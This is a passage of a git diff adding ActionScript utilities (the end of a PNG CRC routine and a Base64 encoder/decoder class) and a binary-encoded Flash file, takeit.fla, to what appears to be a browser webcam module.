p; + c = 0xffffffff; + for (var i:int = 0; i < (e-p); i++) { + c = uint(crcTable[ + (c ^ png.readUnsignedByte()) & + uint(0xff)] ^ uint(c >>> 8)); + } + c = uint(c^uint(0xffffffff)); + png.position = e; + png.writeUnsignedInt(c); + } + } +} \ No newline at end of file diff --git a/modules/browser/webcam/dev/com/foxarc/util/Base64.as b/modules/browser/webcam/dev/com/foxarc/util/Base64.as new file mode 100644 index 000000000..fe7d0cd1f --- /dev/null +++ b/modules/browser/webcam/dev/com/foxarc/util/Base64.as @@ -0,0 +1,106 @@ +package com.foxarc.util{ + import flash.utils.ByteArray; + public class Base64 { + private static const encodeChars:Array = + ['A','B','C','D','E','F','G','H', + 'I','J','K','L','M','N','O','P', + 'Q','R','S','T','U','V','W','X', + 'Y','Z','a','b','c','d','e','f', + 'g','h','i','j','k','l','m','n', + 'o','p','q','r','s','t','u','v', + 'w','x','y','z','0','1','2','3', + '4','5','6','7','8','9','+','/']; + private static const decodeChars:Array = + [-1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, 62, -1, -1, -1, 63, + 52, 53, 54, 55, 56, 57, 58, 59, + 60, 61, -1, -1, -1, -1, -1, -1, + -1, 0, 1, 2, 3, 4, 5, 6, + 7, 8, 9, 10, 11, 12, 13, 14, + 15, 16, 17, 18, 19, 20, 21, 22, + 23, 24, 25, -1, -1, -1, -1, -1, + -1, 26, 27, 28, 29, 30, 31, 32, + 33, 34, 35, 36, 37, 38, 39, 40, + 41, 42, 43, 44, 45, 46, 47, 48, + 49, 50, 51, -1, -1, -1, -1, -1]; + public static function encode(data:ByteArray):String { + var out:Array = []; + var i:int = 0; + var j:int = 0; + var r:int = data.length % 3; + var len:int = data.length - r; + var c:int; + while (i < len) { + c = data[i++] << 16 | data[i++] << 8 | data[i++]; + out[j++] = encodeChars[c >> 18] + encodeChars[c >> 12 & 0x3f] + encodeChars[c >> 6 & 0x3f] + encodeChars[c & 0x3f]; + } + if (r == 1) { + c = data[i++]; + out[j++] = encodeChars[c >> 2] + encodeChars[(c & 0x03) << 4] + "=="; + } + else if (r == 2) { + c = data[i++] << 8 | data[i++]; + out[j++] = encodeChars[c >> 10] + encodeChars[c >> 4 & 0x3f] + encodeChars[(c & 0x0f) << 2] + "="; + } + return out.join(''); + } + public static function decode(str:String):ByteArray { + var c1:int; + var c2:int; + var c3:int; + var c4:int; + var i:int; + var len:int; + var out:ByteArray; + len = str.length; + i = 0; + out = new ByteArray(); + while (i < len) { + // c1 + do { + c1 = decodeChars[str.charCodeAt(i++) & 0xff]; + } while (i < len && c1 == -1); + if (c1 == -1) { + break; + } + // c2 + do { + c2 = decodeChars[str.charCodeAt(i++) & 0xff]; + } while (i < len && c2 == -1); + if (c2 == -1) { + break; + } + out.writeByte((c1 << 2) | ((c2 & 0x30) >> 4)); + // c3 + do { + c3 = str.charCodeAt(i++) & 0xff; + if (c3 == 61) { + return out; + } + c3 = decodeChars[c3]; + } while (i < len && c3 == -1); + if (c3 == -1) { + break; + } + out.writeByte(((c2 & 0x0f) << 4) | ((c3 & 0x3c) >> 2)); + // c4 + do { + c4 = str.charCodeAt(i++) & 0xff; + if (c4 == 61) { + return out; + } + c4 = decodeChars[c4]; + } while (i < len && c4 == -1); + if (c4 == -1) { + break; + } + out.writeByte(((c3 & 0x03) << 6) | c4); + } + return out; + } + } +} \ No newline at end of file diff --git a/modules/browser/webcam/dev/takeit.fla b/modules/browser/webcam/dev/takeit.fla new file mode 100644 index 0000000000000000000000000000000000000000..7de9b071bc9a0efb48344a9386288aa965816151 GIT binary patch literal 142848 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 